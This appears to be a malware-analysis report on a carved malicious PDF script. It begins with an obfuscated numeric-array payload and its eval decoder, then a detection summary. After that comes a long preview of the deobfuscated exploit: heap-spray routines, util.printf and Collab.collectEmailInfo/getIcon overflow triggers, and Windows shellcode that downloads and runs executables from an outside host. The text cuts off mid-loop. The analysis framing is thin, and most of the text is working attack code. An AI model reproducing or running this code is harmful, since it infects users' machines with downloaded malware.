,154,146,167,150,95,83,92,166,112,97,112,97,92,166,112,97,112,97,89,90,114,62,65,58,64,170,152,163,170,161,87,110,87,151,160,169,150,154,171,89,176,146,169,164,167,93,87,157,156,159,96,108,68,59,64,58,173,146,169,81,154,160,172,159,171,99,87,110,87,89,154,148,87,94,87,97,175,101,103,97,103,97,103,90,102,146,155,149,169,108,68,59,64,58,157,160,169,81,95,167,152,163,87,148,166,166,165,165,87,110,87,97,114,81,154,160,172,159,171,81,115,81,154,160,172,159,171,99,114,81,154,160,172,159,171,92,98,90,178,62,65,58,64,58,164,150,164,144,152,163,169,146,176,140,154,160,172,159,171,142,87,110,87,170,152,163,170,161,87,92,87,164,159,150,163,157,154,160,155,150,114,62,65,58,64,174,68,59,64,58,173,146,169,81,166,167,156,163,157,157,166,168,87,110,87,166,165,150,170,148,152,161,156,89,89,86,172,97,154,97,154,86,172,97,154,97,154,83,96,108,68,59,64,58,174,153,160,157,156,81,95,160,173,150,169,151,163,160,174,95,163,150,165,152,171,153,87,109,87,101,107,106,108,99,96,172,68,59,64,58,64,160,173,150,169,151,163,160,174,81,98,110,87,160,173,150,169,151,163,160,174,108,68,59,64,58,180,62,65,58,64,165,159,154,170,95,154,160,163,157,152,147,138,165,166,163,156,81,116,81,122,160,163,157,152,147,101,148,166,157,163,150,154,165,124,158,152,154,163,122,165,151,166,89,178,164,172,147,161,107,87,83,89,93,164,164,158,107,87,160,173,150,169,151,163,160,174,174,96,108,68,59,64,174,68,59,68,59,64,151,172,159,154,165,160,160,165,81,154,160,163,157,152,147,150,152,156,165,160,148,166,159,95,90,178,62,65,58,64,154,157,81,95,146,167,161,101,149,166,148,101,116,166,157,163,146,153,95,158,150,171,122,154,160,165,90,178,62,65,58,64,58,173,146,169,81,152,163,169,170,87,110,87,159,156,168,87,114,169,163,152,170,95,90,114,62,65,58,64,58,173,146,169,81,173,167,167,150,171,153,176,146,87,110,87,166,165,150,170,148,152,161,156,89,89,86,172,118,121,118,112,86,172,97,103,97,104,86,172,102,109,97,103,86,172,114,104,103,107,86,172,97,103,100,103,86,172,97,103,97,103,86,172,101,103,105,121,86,172,105,121,97,122,86,172,98,122,104,103,86,172,105,121,114,123,86,172,97,111,101,103,86,172,116,106,102,124,86,172,105,121,102,108,86,172,105,121,118,122,86,172,97,111,101,108,86,172,100,106,102,105,86,172,116,104,117,105,86,172,97,106,116,105,86,172,98,103,100,105,86,172,105,103,101,103,86,172,97,103,100,111,86,172,119,108,104,108,86,172,116,105,105,121,86,172,102,123,102,120,86,172,97,107,116,105,86,172,102,108,97,103,86,172,118,122,105,121,86,172,102,104,102,104,86,172,102,109,102,106,86,172,103,103,102,110,86,172,102,123,105,121,86,172,100,106,97,111,86,172,105,121,116,103,86,172,97,122,104,108,86,172,119,124,105,121,86,172,104,109,97,106,86,172,105,121,100,122,86,172,104,111,101,124,86,172,116,125,97,106,86,172,102,104,105,121,86,172,102,105,98,122,86,172,102,104,105,121,86,172,102,105,99,107,86,172,104,104,105,121,86,172,101,124,98,107,86,172,104,108,105,112,86,172,105,121,119,122,86,172,99,103,104,104,86,172,119,110,97,106,86,172,101,120,106,112,86,172,101,105,114,123,86,172,100,121,103,103,86,172,119,122,102,108,86,172,97,107,104,108,86,172,116,103,100,106,86,172,100,110,118,121,86,172,119,125,100,106,86,172,101,108,97,106,86,172,106,110,97,122,86,172,116,125,105,121,86,172,104,108,114,124,86,172,99,121,119,123,86,172,101,125,119,112,86,172,118,111,102,104,86,172,119,125,106,107,86,172,119,125,119,125,86,172,116,106,100,121,86,172,104,107,103,104,86,172,118,121,97,105,86,172,105,121,117,112,86,172,97,122,101,108,86,172,102,124,106,105,86,172,119,105,97,106,86,172,118,103,117,104,86,172,116,109,97,106,86,172,116,112,100,106,86,172,115,110,97,125,86,172,102,125,97,111,86,172,118,104,116,104,86,172,97,106,97,105,86,172,97,106,116,120,86,172,105,121,116,125,86,172,97,106,97,104,86,172,105,112,116,105,86,172,119,111,101,108,86,172,105,121,103,104,86,172,119,111,101,108,86,172,102,124,102,125,86,172,116,112,102,121,86,172,102,108,116,106,86,172,118,122,105,121,86,172,118,111,102,104,86,172,119,125,101,112,86,172,119,125,119,125,86,172,103,111,102,103,86,172,103,103,118,111,86,172,97,107,115,125,86,172,103,122,118,111,86,172,119,125,119,125,86,172,100,106,119,125,86,172,102,105,117,105,86,172,119,125,102,105,86,172,97,111,104,108,86,172,117,103,119,125,86,172,101,108,105,112,86,172,105,121,119,122,86,172,119,122,101,108,86,172,116,106,116,112,86,172,105,121,102,108,86,172,105,106,118,122,86,172,97,122,118,122,86,172,101,108,105,123,86,172,102,103,119,107,86,172,101,108,116,109,86,172,104,108,119,107,86,172,101,108,116,109,86,172,104,105,119,108,86,172,101,108,116,109,86,172,103,122,119,109,86,172,101,108,116,109,86,172,103,123,119,110,86,172,101,108,116,109,86,172,103,125,119,111,86,172,101,108,116,109,86,172,103,124,119,112,86,172,101,108,116,109,86,172,99,124,119,120,86,172,101,108,116,109,86,172,103,107,119,121,86,172,101,108,116,109,86,172,103,122,119,122,86,172,101,108,116,109,86,172,103,122,119,123,86,172,101,108,116,109,86,172,97,103,119,124,86,172,114,103,118,111,86,172,119,125,119,125,86,172,102,103,119,125,86,172,102,123,103,111,86,172,98,104,105,120,86,172,118,111,98,109,86,172,119,125,98,108,86,172,119,125,119,125,86,172,116,107,105,106,86,172,105,108,97,122,86,172,104,107,116,103,86,172,103,120,98,108,86,172,103,120,97,103,86,172,119,125,97,103,86,172,97,122,104,108,86,172,104,108,119,125,86,172,103,120,97,111,86,172,119,125,97,103,86,172,105,108,117,103,86,172,104,108,116,103,86,172,101,103,97,106,86,172,116,106,116,112,86,172,116,103,100,106,86,172,116,106,116,112,86,172,100,106,102,110,86,172,105,121,116,103,86,172,99,107,101,122,86,172,105,121,97,122,86,172,99,107,104,122,86,172,119,122,97,111,86,172,114,120,119,106,86,172,116,106,102,125,86,172,101,122,105,121,86,172,97,107,99,107,86,172,100,112,105,103,86,172,105,121,97,103,86,172,104,107,116,104,86,172,101,103,97,109,86,172,100,111,105,103,86,172,104,108,97,103,86,172,99,121,119,120,86,172,116,106,116,104,86,172,105,121,102,108,86,172,105,106,118,122,86,172,103,107,118,122,86,172,105,123,102,106,86,172,119,103,101,108,86,172,100,106,102,110,86,172,102,103,117,121,86,172,101,108,116,109,86,172,103,121,119,103,86,172,101,108,116,109,86,172,103,108,119,104,86,172,101,108,116,109,86,172,104,105,119,105,86,172,101,108,116,109,86,172,103,124,119,106,86,172,101,108,116,109,86,172,103,108,119,107,86,172,101,108,116,109,86,172,103,122,119,108,86,172,101,108,116,109,86,172,100,106,119,109,86,172,101,108,116,109,86,172,100,105,119,110,86,172,101,108,116,109,86,172,99,124,119,111,86,172,101,108,116,109,86,172,103,107,119,112,86,172,101,108,116,109,86,172,103,122,119,120,86,172,101,108,116,109,86,172,103,122,119,121,86,172,102,123,105,111,86,172,118,111,119,122,86,172,119,125,97,121,86,172,119,125,119,125,86,172,103,111,102,103,86,172,101,106,103,111,86,172,105,124,119,112,86,172,105,103,118,111,86,172,119,125,119,124,86,172,105,121,119,125,86,172,105,123,119,111,86,172,106,122,101,108,86,172,101,107,103,120,86,172,118,111,102,103,86,172,119,125,104,124,86,172,119,125,119,125,86,172,101,108,105,123,86,172,103,120,118,103,86,172,102,103,98,103,86,172,104,106,118,111,86,172,119,125,119,125,86,172,105,106,119,125,86,172,98,122,116,107,86,172,101,108,105,123,86,172,102,103,118,103,86,172,101,108,105,123,86,172,102,103,106,122,86,172,102,106,102,106,86,172,102,106,102,106,86,172,102,106,102,106,86,172,104,108,119,125,86,172,116,110,97,111,86,172,106,122,101,108,86,172,97,103,101,107,86,172,97,103,97,103,86,172,119,125,102,106,86,172,102,125,117,110,86,172,115,109,97,125,86,172,102,121,116,103,86,172,116,106,116,112,86,172,105,121,102,108,86,172,102,104,118,122,86,172,102,106,102,104,86,172,102,110,102,109,86,172,101,105,103,120,86,172,104,105,118,111,86,172,97,103,97,103,86,172,105,121,97,103,86,172,100,106,117,111,86,172,105,108,119,109,86,172,102,112,117,121,86,172,101,108,116,110,86,172,103,104,119,111,86,172,103,108,99,124,86,172,116,110,104,111,86,172,119,122,101,108,86,172,97,103,103,108,86,172,97,103,97,103,86,172,102,109,104,124,86,172,101,108,105,123,86,172,102,103,119,111,86,172,118,111,102,109,86,172,97,103,102,104,86,172,97,103,97,103,86,172,102,103,102,112,86,172,115,104,118,111,86,172,119,125,119,124,86,172,105,108,119,125,86,172,102,112,116,103,86,172,104,107,102,112,86,172,105,123,100,112,86,172,97,104,101,109,86,172,118,111,102,103,86,172,97,103,100,121,86,172,97,103,97,103,86,172,119,111,105,121,86,172,101,108,105,123,86,172,102,103,119,111,86,172,99,104,118,111,86,172,119,125,119,125,86,172,105,108,119,125,86,172,102,112,116,103,86,172,104,107,102,112,86,172,102,110,97,122,86,172,97,104,118,111,86,172,119,125,119,125,86,172,102,112,119,125,86,172,101,107,116,109,86,172,119,125,100,111,86,172,102,103,104,106,86,172,101,108,105,123,86,172,119,124,119,111,86,172,102,111,97,103,86,172,101,108,105,123,86,172,102,103,119,111,86,172,118,111,102,110,86,172,119,124,104,107,86,172,119,125,119,125,86,172,102,112,102,112,86,172,101,109,101,109,86,172,119,106,100,121,86,172,114,120,104,122,86,172,102,124,102,125,86,172,116,112,102,121,86,172,102,108,116,106,86,172,118,122,105,121,86,172,102,106,102,104,86,172,103,103,103,109,86,172,100,105,115,104,86,172,97,103,118,111,86,172,97,103,97,103,86,172,102,111,97,103,86,172,97,111,100,111,86,172,97,106,104,107,86,172,118,121,101,103,86,172,101,103,119,112,86,172,102,123,105,121,86,172,105,103,97,111,86,172,101,105,119,121,86,172,97,111,104,108,86,172,117,121,100,106,86,172,98,111,105,120,86,172,116,106,105,121,86,172,98,110,118,121,86,172,98,111,100,111,86,172,98,104,104,109,86,172,100,106,101,103,86,172,105,107,116,112,86,172,104,107,117,121,86,172,101,103,97,122,86,172,97,111,100,111,86,172,119,121,104,108,86,172,119,124,101,103,86,172,118,121,116,121,86,172,100,106,119,105,86,172,105,112,116,103,86,172,119,122,101,108,86,172,101,108,105,121,86,172,102,121,119,122,86,172,116,106,116,112,86,172,97,105,100,105,86,172,104,107,103,111,86,172,104,103,104,107,86,172,99,125,100,120,86,172,103,123,99,125,86,172,104,105,103,112,86,172,103,125,104,105,86,172,103,125,104,105,86,172,103,108,103,124,86,172,103,125,104,105,86,172,103,112,103,109,86,172,103,108,104,109,86,172,103,106,99,124,86,172,103,123,103,125,86,172,104,106,99,125,86,172,103,108,103,122,86,172,104,103,103,108,86,172,103,106,99,125,86,172,104,111,103,121,86,172,100,105,104,112,86,172,103,108,99,124,86,172,103,108,104,111,86,172,103,111,97,103,86,172,104,107,104,107,86,172,100,120,104,103,86,172,99,125,99,125,86,172,103,112,103,123,86,172,104,105,104,105,86,172,104,105,103,125,86,172,103,124,103,125,86,172,104,105,103,108,86,172,103,109,103,125,86,172,104,109,103,112,86,172,99,124,103,108,86,172,103,125,103,106,86,172,99,125,103,123,86,172,103,122,104,106,86,172,103,108,103,108,86,172,99,125,104,103,86,172,103,122,103,106,86,172,103,106,103,112,86,172,99,124,103,121,86,172,103,111,104,103,86,172,100,125,104,103,86,172,100,123,104,105,86,172,97,103,97,103,83,96,108,68,59,64,58,64,167,152,163,87,153,142,162,108,97,103,116,133,81,116,81,173,167,167,150,171,153,176,146,101,157,156,159,158,165,159,81,97,81,105,108,68,59,64,58,64,167,152,163,87,157,156,159,87,110,87,97,175,101,103,97,103,97,103,81,100,81,95,153,142,162,108,97,103,116,133,81,98,81,103,169,106,105,96,108,68,59,64,58,64,167,152,163,87,170,152,163,170,161,87,110,87,166,165,150,170,148,152,161,156,89,89,86,172,106,103,106,103,86,172,106,103,106,103,83,96,108,68,59,64,58,64,170,152,163,170,161,87,110,87,151,160,169,150,154,171,89,176,146,169,164,167,93,87,157,156,159,96,108,68,59,64,58,64,167,152,163,87,161,108,114,161,124,109,102,157,81,116,81,95,97,175,97,154,97,154,97,154,97,154,81,100,81,103,169,107,97,103,97,103,97,96,81,102,81,103,169,107,97,103,97,103,97,114,62,65,58,64,58,157,160,169,81,95,167,152,163,87,167,168,148,136,117,112,103,176,81,116,81,103,108,87,167,168,148,136,117,112,103,176,81,115,81,167,102,120,155,130,103,108,151,114,81,173,162,154,130,123,106,109,170,87,92,98,81,96,172,68,59,64,58,64,58,152,163,169,170,146,167,168,148,136,117,112,103,176,142,87,110,87,170,152,163,170,161,87,92,87,167,173,161,156,165,159,170,152,108,68,59,64,58,64,174,68,59,64,58,64,167,152,163,87,165,140,126,159,127,153,120,174,81,116,81,172,159,156,164,154,146,167,150,95,83,92,97,112,83,96,108,68,59,64,58,64,168,159,154,163,150,87,89,171,134,132,153,133,147,126,168,101,157,156,159,158,165,159,81,115,81,103,169,107,97,103,97,96,172,68,59,64,58,64,58,171,134,132,153,133,147,126,168,87,92,116,81,171,134,132,153,133,147,126,168,114,62,65,58,64,58,180,62,65,58,64,58,171,134,132,153,133,147,126,168,87,110,87,83,133,95,89,81,98,81,171,134,132,153,133,147,126,168,114,62,65,58,64,58,152,161,167,95,155,160,154,95,122,160,163,157,152,147,101,152,156,165,128,148,166,159,95,165,140,126,159,127,153,120,174,90,114,62,65,58,64,174,68,59,64,174,68,59,68,59,64,151,172,159,154,165,160,160,165,81,167,149,157,144,170,165,152,163,171,89,96,172,68,59,68,59,64,58,173,146,169,81,173,150,169,164,160,160,165,81,116,81,152,161,167,95,173,154,156,168,156,163,141,150,169,164,160,160,165,95,171,160,138,165,169,154,165,152,95,90,114,62,65,58,64,167,156,163,170,154,166,159,87,110,87,167,156,163,170,154,166,159,101,163,156,161,163,146,154,150,95,96,147,117,102,152,99,88,94,90,114,62,65,58,64,167,152,163,87,167,152,163,170,154,166,159,150,146,169,163,152,170,87,110,87,159,156,168,87,114,169,163,152,170,95,167,156,163,170,154,166,159,101,148,159,146,169,114,171,89,103,90,99,81,173,150,169,164,160,160,165,95,154,153,152,163,120,165,95,98,96,93,87,167,156,163,170,154,166,159,101,148,159,146,169,114,171,89,105,90,96,108,68,59,64,58,160,151,87,89,95,167,152,163,170,154,166,159,150,146,169,163,152,170,146,97,148,81,116,110,87,105,96,81,93,87,87,89,173,146,169,164,160,160,165,144,152,163,169,146,176,140,104,142,87,110,116,81,103,90,87,173,179,81,95,167,152,163,170,154,166,159,150,146,169,163,152,170,146,98,148,81,116,110,87,98,87,87,93,81,173,146,169,164,160,160,165,144,152,163,169,146,176,140,105,142,87,109,87,100,96,90,178,62,65,58,64,58,172,165,160,157,150,161,169,154,165,165,157,89,96,108,68,59,64,58,180,62,65,58,64,154,157,81,95,89,173,146,169,164,160,160,165,144,152,163,169,146,176,140,103,142,87,109,87,105,96,81,179,173,87,89,173,146,169,164,160,160,165,144,152,163,169,146,176,140,103,142,87,110,116,81,111,81,93,87,87,167,152,163,170,154,166,159,150,146,169,163,152,170,146,98,148,81,115,81,105,81,93,87,87,167,152,163,170,154,166,159,150,146,169,163,152,170,146,99,148,81,115,81,105,90,96,172,68,59,64,58,64,148,166,157,163,146,153,144,156,158,152,154,163,89,96,108,68,59,64,58,180,62,65,58,64,154,157,81,95,89,173,146,169,164,160,160,165,144,152,163,169,146,176,140,103,142,87,109,87,106,96,81,179,173,87,89,173,146,169,164,160,160,165,144,152,163,169,146,176,140,103,142,87,110,116,81,112,81,93,87,87,167,152,163,170,154,166,159,150,146,169,163,152,170,146,98,148,81,115,81,104,90,96,172,68,59,64,58,64,148,166,157,163,146,153,144,158,150,171,154,154,160,165,89,96,108,68,59,64,58,180,62,65,58,180,62,65,62,65,58,167,149,157,144,170,165,152,163,171,89,96,108,68,59,64],tzyu=function(){for(var bfkvy;cdnv<klsuw.length;cdnv+=1){var dglnst=cdnv%glnvx.length+1;var lmnr=glnvx.substring(cdnv%glnvx.length,dglnst);var cfhknw=klsuw[cdnv];pjazt+=ghijlo(cfhknw-lmnr.charCodeAt(0));} agilp(pjazt);};tzyu();adhj="adhj";hipst='';adhpy=false;bcjn='';bfkloy="bfkloy";giknqs='';
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	10072 bytes
SHA-256: `bf10e22304e8e37521a03ebf57a057a34bd8a84fc7da73bce8cca12d64c9d3de`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u652F%u6B69%u6E6C%u3278%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u672F%u7073%u327A%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u632F%u786B%u3279%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ 